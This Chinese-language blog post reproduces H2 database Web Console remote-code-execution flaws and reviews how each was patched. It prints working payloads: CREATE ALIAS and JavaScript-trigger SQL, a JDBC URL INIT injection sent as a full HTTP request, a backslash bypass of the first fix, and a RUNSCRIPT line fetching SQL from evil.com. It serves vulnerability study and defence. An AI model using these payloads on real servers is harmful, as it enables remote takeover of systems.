h2database Web Console漏洞梳理
本文最后更新于 2025年7月8日 凌晨
由于工作中遇到了h2 Web Console,故想着系统点梳理复现下h2 数据库网页端 的一些漏洞,并记录下复现过程。
Web Console 后台 RCE(CVE-2018-10054)
当Spring Boot集成H2 Database时,如果设置如下选项,将会启用一个Web管理页面:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.197</version>
</dependency>
那先让我们了解下这个漏洞 CVE-2018-10054
: 在1.4.198
之前的H2 Database版本中,任何用户都可以通过创建新的数据库文件或连接到内存数据库来访问Web管理页面。认证通过后,攻击者可在后台执行代码。
这个漏洞最初被披露出来是配合H2的web页面存在未授权,进而在后台执行sql 来实现RCE,后续又发现页面上的 databaseUrl
可进行JDBC 攻击以及Driver Class
可进行JNDI注入攻击。伴随着修修补补,直到2.1.210
版本修复了JDBC Attack
,Web Console RCE 的问题才得以解决。
具体来说,在后台攻击者可通过以下方式之一执行任意代码:
CREATE ALIAS func AS code...; CALL func ...
(需要有javac
)CREATE TRIGGER ... AS code...
RUNSCRIPT FROM 'http://evil.com/script.sql'
JDK环境
当目标环境中存在 javac
(JDK 环境),可通过 CREATE ALIAS 定义 Java 方法RCE:
CREATE ALIAS EXEC AS 'String rce(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('open -a Calculator.app');
JavaScript
当目标Java版本较低(Java8-Java14,Java 15 以后 Java 自带的 Nashorn JavaScript 引擎被删除),可通过 JavaScript 方法RCE:
CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
throw new java.lang.Exception(scanner.next())
$$;
效果如图,id
命令被成功执行,结果以异常的形式被抛出:
远程执行sql
第三种远程调用即把sql文件的内容写成上方语句即可:
Web Console JDBC Attack
需要注意 CVE-2018-10054
的前提条件是能进入到后台执行 sql 处的页面,而 p牛 在文章中指出,可通过 JDBC attack 的方式可以实现前台攻击:
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
$$;
数据包如下:
POST /h2-console/test.do?jsessionid=10a8dfbea8f1051801c4a5135ecaccea HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 347
Connection: keep-alive
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1743061416,1743386457; lang=zh-CN
Upgrade-Insecure-Requests: 1
Priority: u=0, i
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=org.h2.Driver&url=jdbc%3ah2%3amem%3atest%3bMODE%3dMSSQLServer%3bINIT%3dCREATE+TRIGGER+shell3+BEFORE+SELECT+ON+INFORMATION_SCHEMA.TABLES+AS+%24%24%2f%2fjavascript%0a++++java.lang.Runtime.getRuntime().exec(%22open+-a+Calculator.app%22)%0a%24%24%3b&user=sa&password=
在后续修复的 1.4.198
版本中,存在这样的一个补丁:默认h2 数据库不允许创建新的数据库( jdbc 连接url拼接 ;FORBID_CREATION=TRUE
)
我们可以看下改动代码部分来观察如何打补丁的 :org.h2.server.web.WebServer#getConnection
如上图,在没有打补丁之前,这里只是会判断数据库是否存在,如果不存在,则不会添加IFEXISTS=TRUE
,那么在方法内部会隐式创建其内存数据库,进而达到JDBC注入的效果。 我们再来看看补丁改动之后的代码:
https://github.com/h2database/h2database/compare/version-1.4.197...version-1.4.199
可以看出,IFEXISTS=TRUE
被默认添加进入了databaseURl
,然而数据库并不存在,故到后续会抛出异常,达到了阻止漏洞利用的目的。
具体报错看图:
此时只能期待蒙对内部代码创建的已存在数据库名?比如存在这样的代码:
String jdbcUrlCreate = "jdbc:h2:mem:test;DB_CLOSE_DELAY=-1"; // 用于创建数据库的连接字符串
// 1. 显式创建数据库
try (Connection connection = DriverManager.getConnection(jdbcUrlCreate, "sa", "")) {
System.out.println("Database 'test' created successfully.");
} catch (SQLException e) {
System.err.println("Error creating database: " + e.getMessage());
e.printStackTrace();
return; // 提前退出,避免后续连接尝试
}
...
Database 'test' created successfully.
...
其实,还是是有办法攻击的,可通过在databaseUrl 末尾添加反斜杠, 将分号用反斜线转义,分号就会变成一个普通字符串,这样就把源代码中写的拼接字符串 ;IFEXISTS=TRUE
弄失效。
由于h2database的开发历史,这里存在两种情况:在2.0.202版本 引入IGNORE_UNKNOWN_SETTINGS
忽略未知名字属性这个选项之前和之后:
- 在引入
IGNORE_UNKNOWN_SETTINGS
之前,也就是版本1.4.198
到2.0.202
之间:
通过注入已知的属性名比如 AUTHZPWD
:
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
$$;AUTHZPWD=\
在版本 1.4.198
到 2.0.210
之间,可支持不识别的属性(更无脑了)
在版本2.1.210
中JDBC Attack
被修复,也就是说在版本2.1.210
及其之后,Web console登陆页面的RCE问题已被修复。
Web Console JNDI Injection(CVE-2021-42392)
再来关注一下1.4.198
之后版本的这部分代码:org.h2.util.JdbcUtils#getConnection
可以看出,这段代码会判断加载进来的 Driver Class 是否实现了 java.sql.Driver
接口(父类) 或者javax.naming.Context
接口(父类) ,也就是判断加载的类是否是一个 JDBC 驱动程序或 JNDI 上下文,从而选择合适的连接方法。
Web Console 页面上默认的连接是 org.h2.Driver
, 其是实现的java.sql.Driver接口。
public class Driver implements java.sql.Driver, JdbcDriverBackwardsCompat {
...
也就是说,我们可以修改默认的 Driver Class
为javax.naming.Context
,从而实现JNDI注入。
后续Web控制台页面上的JNDI注入的问题在2.0.206
中被修复,仅仅允许java:开头
参考:
- https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html
- https://www.exploit-db.com/exploits/45506
- https://github.com/h2database/h2database/issues/1225
- https://github.com/h2database/h2database/pull/1580
- https://github.com/h2database/h2database/pull/1726
- https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
- https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
- https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/#%E5%8F%97%E9%99%90%E5%88%B6%E7%9A%84-jdbc-h2-rce